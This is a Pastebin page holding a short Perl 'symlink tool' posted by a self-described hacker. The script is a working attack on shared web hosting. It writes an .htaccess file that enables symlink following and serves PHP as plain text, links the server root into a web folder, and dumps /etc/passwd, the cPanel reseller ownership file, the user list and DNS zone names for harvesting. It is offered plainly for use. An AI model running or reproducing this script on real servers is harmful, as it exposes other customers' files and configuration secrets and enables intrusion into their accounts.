Advertisement
snip3r_ir

fast_symlink tool

Jan 9th, 2014
450
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.91 KB | None | 0 0
  1. #!/usr/local/bin/perl
  2.  
  3. # tool by 4li ( snip3r_ir@hotmail.com)*/
  4. # Iranian hacker */
  5. # love to Islam */
  6. # this tool makes symlink, htaccess , extract passwd file , domains and resellers
  7. # usage : perl 4li.pl
  8. use strict;
  9. use warnings;
  10.  
  11. my $existingdir = './ali';
  12. mkdir $existingdir unless -d $existingdir; # Check if dir exists. If not create it.
  13. open my $fileHandle, ">>", "$existingdir/.htaccess" or die "Can't open '$existingdir/.htaccess'\n";
  14. print $fileHandle "Options Indexes FollowSymLinks\n";
  15. print $fileHandle "DirectoryIndex ssssss.htm\n";
  16. print $fileHandle "AddType txt .php\n";
  17. print $fileHandle "AddHandler txt .php\n";
  18. close $fileHandle;
  19.  
  20. system("ln -s / ./ali/a.txt");
  21. system("cat /etc/trueuserowners >./ali/whm.txt");
  22. system("cat /etc/passwd >./ali/u.txt");
  23. system("cat /etc/passwd | grep /home | cut -d: -f1 >./ali/u1.txt");
  24. system("ls /var/named/ >./ali/named.txt");
  25. system("echo ./Done");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement